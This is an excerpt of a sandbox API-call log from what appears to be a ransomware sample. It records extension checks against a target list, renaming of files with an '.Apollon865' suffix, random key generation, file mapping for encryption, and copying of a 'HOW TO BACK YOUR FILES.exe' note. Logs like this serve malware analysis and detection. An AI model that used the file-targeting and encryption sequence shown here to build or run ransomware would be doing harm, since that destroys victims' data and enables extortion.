	[0054.211] lstrlenW (lpString="dadiagrams") returned 10
	[0054.211] lstrcmpiW (lpString1="Player.lnk", lpString2="dadiagrams") returned 1
	[0054.211] lstrlenW (lpString="daschema") returned 8
	[0054.211] lstrcmpiW (lpString1="ayer.lnk", lpString2="daschema") returned -1
	[0054.211] lstrlenW (lpString="db-journal") returned 10
	[0054.211] lstrcmpiW (lpString1="Player.lnk", lpString2="db-journal") returned 1
	[0054.211] lstrlenW (lpString="db-shm") returned 6
	[0054.211] lstrcmpiW (lpString1="er.lnk", lpString2="db-shm") returned 1
	[0054.211] lstrlenW (lpString="db-wal") returned 6
	[0054.211] lstrcmpiW (lpString1="er.lnk", lpString2="db-wal") returned 1
	[0054.211] lstrlenW (lpString="dbc") returned 3
	[0054.211] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1
	[0054.211] lstrlenW (lpString="dbs") returned 3
	[0054.211] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1
	[0054.211] lstrlenW (lpString="dbt") returned 3
	[0054.212] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1
	[0054.212] lstrlenW (lpString="dbv") returned 3
	[0054.212] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1
	[0054.212] lstrlenW (lpString="dbx") returned 3
	[0054.212] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1
	[0054.212] lstrlenW (lpString="dcb") returned 3
	[0054.212] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1
	[0054.212] lstrlenW (lpString="dct") returned 3
	[0054.212] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1
	[0054.212] lstrlenW (lpString="dcx") returned 3
	[0054.212] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1
	[0054.212] lstrlenW (lpString="ddl") returned 3
	[0054.212] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1
	[0054.212] lstrlenW (lpString="dlis") returned 4
	[0054.212] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1
	[0054.212] lstrlenW (lpString="dp1") returned 3
	[0054.212] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1
	[0054.212] lstrlenW (lpString="dqy") returned 3
	[0054.212] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1
	[0054.212] lstrlenW (lpString="dsk") returned 3
	[0054.212] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1
	[0054.212] lstrlenW (lpString="dsn") returned 3
	[0054.212] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1
	[0054.212] lstrlenW (lpString="dtsx") returned 4
	[0054.212] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1
	[0054.212] lstrlenW (lpString="dxl") returned 3
	[0054.212] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1
	[0054.212] lstrlenW (lpString="eco") returned 3
	[0054.212] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1
	[0054.212] lstrlenW (lpString="ecx") returned 3
	[0054.212] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1
	[0054.212] lstrlenW (lpString="edb") returned 3
	[0054.212] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1
	[0054.212] lstrlenW (lpString="epim") returned 4
	[0054.212] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1
	[0054.213] lstrlenW (lpString="fcd") returned 3
	[0054.213] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1
	[0054.213] lstrlenW (lpString="fdb") returned 3
	[0054.213] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1
	[0054.213] lstrlenW (lpString="fic") returned 3
	[0054.213] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1
	[0054.213] lstrlenW (lpString="flexolibrary") returned 12
	[0054.213] lstrcmpiW (lpString1="a Player.lnk", lpString2="flexolibrary") returned -1
	[0054.213] lstrlenW (lpString="fm5") returned 3
	[0054.213] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1
	[0054.213] lstrlenW (lpString="fmp") returned 3
	[0054.213] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1
	[0054.213] lstrlenW (lpString="fmp12") returned 5
	[0054.213] lstrcmpiW (lpString1="r.lnk", lpString2="fmp12") returned 1
	[0054.213] lstrlenW (lpString="fmpsl") returned 5
	[0054.213] lstrcmpiW (lpString1="r.lnk", lpString2="fmpsl") returned 1
	[0054.213] lstrlenW (lpString="fol") returned 3
	[0054.213] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1
	[0054.213] lstrlenW (lpString="fp3") returned 3
	[0054.213] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1
	[0054.213] lstrlenW (lpString="fp4") returned 3
	[0054.213] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1
	[0054.213] lstrlenW (lpString="fp5") returned 3
	[0054.213] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1
	[0054.213] lstrlenW (lpString="fp7") returned 3
	[0054.213] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1
	[0054.213] lstrlenW (lpString="fpt") returned 3
	[0054.213] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1
	[0054.213] lstrlenW (lpString="frm") returned 3
	[0054.213] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1
	[0054.213] lstrlenW (lpString="gdb") returned 3
	[0054.213] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0054.213] lstrlenW (lpString="gdb") returned 3
	[0054.213] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0054.214] lstrlenW (lpString="grdb") returned 4
	[0054.214] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1
	[0054.214] lstrlenW (lpString="gwi") returned 3
	[0054.214] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1
	[0054.214] lstrlenW (lpString="hdb") returned 3
	[0054.214] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1
	[0054.214] lstrlenW (lpString="his") returned 3
	[0054.214] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1
	[0054.214] lstrlenW (lpString="ib") returned 2
	[0054.214] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1
	[0054.214] lstrlenW (lpString="idb") returned 3
	[0054.214] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1
	[0054.214] lstrlenW (lpString="ihx") returned 3
	[0054.214] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1
	[0054.214] lstrlenW (lpString="itdb") returned 4
	[0054.214] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1
	[0054.214] lstrlenW (lpString="itw") returned 3
	[0054.214] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1
	[0054.214] lstrlenW (lpString="jet") returned 3
	[0054.214] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1
	[0054.214] lstrlenW (lpString="jtx") returned 3
	[0054.214] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1
	[0054.214] lstrlenW (lpString="kdb") returned 3
	[0054.214] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1
	[0054.214] lstrlenW (lpString="kexi") returned 4
	[0054.214] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1
	[0054.214] lstrlenW (lpString="kexic") returned 5
	[0054.214] lstrcmpiW (lpString1="r.lnk", lpString2="kexic") returned 1
	[0054.214] lstrlenW (lpString="kexis") returned 5
	[0054.214] lstrcmpiW (lpString1="r.lnk", lpString2="kexis") returned 1
	[0054.214] lstrlenW (lpString="lgc") returned 3
	[0054.214] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1
	[0054.214] lstrlenW (lpString="lwx") returned 3
	[0054.214] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1
	[0054.215] lstrlenW (lpString="maf") returned 3
	[0054.215] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1
	[0054.215] lstrlenW (lpString="maq") returned 3
	[0054.215] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1
	[0054.215] lstrlenW (lpString="mar") returned 3
	[0054.215] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1
	[0054.215] lstrlenW (lpString="marshal") returned 7
	[0054.215] lstrcmpiW (lpString1="yer.lnk", lpString2="marshal") returned 1
	[0054.215] lstrlenW (lpString="mas") returned 3
	[0054.215] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1
	[0054.215] lstrlenW (lpString="mav") returned 3
	[0054.215] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1
	[0054.215] lstrlenW (lpString="maw") returned 3
	[0054.215] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1
	[0054.215] lstrlenW (lpString="mdbhtml") returned 7
	[0054.215] lstrcmpiW (lpString1="yer.lnk", lpString2="mdbhtml") returned 1
	[0054.215] lstrlenW (lpString="mdn") returned 3
	[0054.215] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1
	[0054.215] lstrlenW (lpString="mdt") returned 3
	[0054.215] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1
	[0054.215] lstrlenW (lpString="mfd") returned 3
	[0054.215] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1
	[0054.215] lstrlenW (lpString="mpd") returned 3
	[0054.215] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1
	[0054.215] lstrlenW (lpString="mrg") returned 3
	[0054.215] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1
	[0054.215] lstrlenW (lpString="mud") returned 3
	[0054.215] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1
	[0054.215] lstrlenW (lpString="mwb") returned 3
	[0054.215] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1
	[0054.215] lstrlenW (lpString="myd") returned 3
	[0054.215] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1
	[0054.215] lstrlenW (lpString="ndf") returned 3
	[0054.215] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1
	[0054.216] lstrlenW (lpString="nnt") returned 3
	[0054.216] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1
	[0054.216] lstrlenW (lpString="nrmlib") returned 6
	[0054.216] lstrcmpiW (lpString1="er.lnk", lpString2="nrmlib") returned -1
	[0054.216] lstrlenW (lpString="ns2") returned 3
	[0054.216] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1
	[0054.216] lstrlenW (lpString="ns3") returned 3
	[0054.216] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1
	[0054.216] lstrlenW (lpString="ns4") returned 3
	[0054.216] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1
	[0054.216] lstrlenW (lpString="nsf") returned 3
	[0054.216] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1
	[0054.216] lstrlenW (lpString="nv") returned 2
	[0054.216] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1
	[0054.216] lstrlenW (lpString="nv2") returned 3
	[0054.216] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1
	[0054.216] lstrlenW (lpString="nwdb") returned 4
	[0054.216] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1
	[0054.216] lstrlenW (lpString="nyf") returned 3
	[0054.216] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1
	[0054.216] lstrlenW (lpString="odb") returned 3
	[0054.216] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0054.216] lstrlenW (lpString="odb") returned 3
	[0054.216] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0054.216] lstrlenW (lpString="oqy") returned 3
	[0054.216] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1
	[0054.216] lstrlenW (lpString="ora") returned 3
	[0054.217] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1
	[0054.217] lstrlenW (lpString="orx") returned 3
	[0054.217] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1
	[0054.217] lstrlenW (lpString="owc") returned 3
	[0054.217] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1
	[0054.217] lstrlenW (lpString="p96") returned 3
	[0054.217] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1
	[0054.217] lstrlenW (lpString="p97") returned 3
	[0054.217] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1
	[0054.217] lstrlenW (lpString="pan") returned 3
	[0054.217] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1
	[0054.217] lstrlenW (lpString="pdb") returned 3
	[0054.217] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1
	[0054.217] lstrlenW (lpString="pdm") returned 3
	[0054.217] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1
	[0054.217] lstrlenW (lpString="pnz") returned 3
	[0054.217] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1
	[0054.217] lstrlenW (lpString="qry") returned 3
	[0054.217] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1
	[0054.217] lstrlenW (lpString="qvd") returned 3
	[0054.217] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1
	[0054.217] lstrlenW (lpString="rbf") returned 3
	[0054.217] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1
	[0054.217] lstrlenW (lpString="rctd") returned 4
	[0054.217] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1
	[0054.217] lstrlenW (lpString="rod") returned 3
	[0054.217] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1
	[0054.217] lstrlenW (lpString="rodx") returned 4
	[0054.217] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1
	[0054.217] lstrlenW (lpString="rpd") returned 3
	[0054.217] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1
	[0054.217] lstrlenW (lpString="rsd") returned 3
	[0054.218] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1
	[0054.218] lstrlenW (lpString="sas7bdat") returned 8
	[0054.218] lstrcmpiW (lpString1="ayer.lnk", lpString2="sas7bdat") returned -1
	[0054.218] lstrlenW (lpString="sbf") returned 3
	[0054.218] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1
	[0054.218] lstrlenW (lpString="scx") returned 3
	[0054.218] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1
	[0054.218] lstrlenW (lpString="sdb") returned 3
	[0054.218] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1
	[0054.218] lstrlenW (lpString="sdc") returned 3
	[0054.218] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1
	[0054.218] lstrlenW (lpString="sdf") returned 3
	[0054.218] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1
	[0054.218] lstrlenW (lpString="sis") returned 3
	[0054.218] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1
	[0054.218] lstrlenW (lpString="spq") returned 3
	[0054.218] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1
	[0054.218] lstrlenW (lpString="te") returned 2
	[0054.218] lstrcmpiW (lpString1="nk", lpString2="te") returned -1
	[0054.218] lstrlenW (lpString="teacher") returned 7
	[0054.218] lstrcmpiW (lpString1="yer.lnk", lpString2="teacher") returned 1
	[0054.218] lstrlenW (lpString="tmd") returned 3
	[0054.218] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1
	[0054.218] lstrlenW (lpString="tps") returned 3
	[0054.218] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1
	[0054.218] lstrlenW (lpString="trc") returned 3
	[0054.218] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0054.218] lstrlenW (lpString="trc") returned 3
	[0054.218] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0054.218] lstrlenW (lpString="trm") returned 3
	[0054.218] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1
	[0054.218] lstrlenW (lpString="udb") returned 3
	[0054.218] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1
	[0054.218] lstrlenW (lpString="udl") returned 3
	[0054.218] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1
	[0054.219] lstrlenW (lpString="usr") returned 3
	[0054.219] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1
	[0054.219] lstrlenW (lpString="v12") returned 3
	[0054.219] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1
	[0054.219] lstrlenW (lpString="vis") returned 3
	[0054.219] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1
	[0054.219] lstrlenW (lpString="vpd") returned 3
	[0054.219] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1
	[0054.219] lstrlenW (lpString="vvv") returned 3
	[0054.219] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1
	[0054.219] lstrlenW (lpString="wdb") returned 3
	[0054.219] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1
	[0054.219] lstrlenW (lpString="wmdb") returned 4
	[0054.219] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1
	[0054.219] lstrlenW (lpString="wrk") returned 3
	[0054.219] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1
	[0054.219] lstrlenW (lpString="xdb") returned 3
	[0054.219] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1
	[0054.219] lstrlenW (lpString="xld") returned 3
	[0054.219] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1
	[0054.219] lstrlenW (lpString="xmlff") returned 5
	[0054.219] lstrcmpiW (lpString1="r.lnk", lpString2="xmlff") returned -1
	[0054.219] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk.Apollon865") returned 129
	[0054.219] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk.Apollon865" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player.lnk.apollon865"), dwFlags=0x1) returned 1
	[0054.239] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk.Apollon865" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player.lnk.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.239] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1547) returned 1
	[0054.239] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.240] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0054.241] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0054.241] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0054.241] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x910, lpName=0x0) returned 0x15c
	[0054.256] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x910) returned 0x100000
	[0054.269] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0054.270] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0054.270] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0054.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0054.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0054.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0054.271] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.271] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0054.271] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.271] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.271] CloseHandle (hObject=0x15c) returned 1
	[0054.271] CloseHandle (hObject=0x150) returned 1
	[0054.271] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.271] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.271] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.271] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0
	[0054.271] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.271] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b70
	[0054.271] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts"
	[0054.271] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0054.271] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0054.271] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned 106
	[0054.271] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts"
	[0054.271] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.271] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\implicitappshortcuts\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.272] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.272] GetLastError () returned 0x20
	[0054.272] Sleep (dwMilliseconds=0xc8) 
	[0054.460] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.460] GetLastError () returned 0x0
	[0054.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.461] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.461] CloseHandle (hObject=0x14c) returned 1
	[0054.461] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.461] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.461] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e568fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e568fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.461] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.461] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.461] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.461] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e568fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e568fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.461] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.461] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.461] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.461] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.461] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e568fb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e568fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
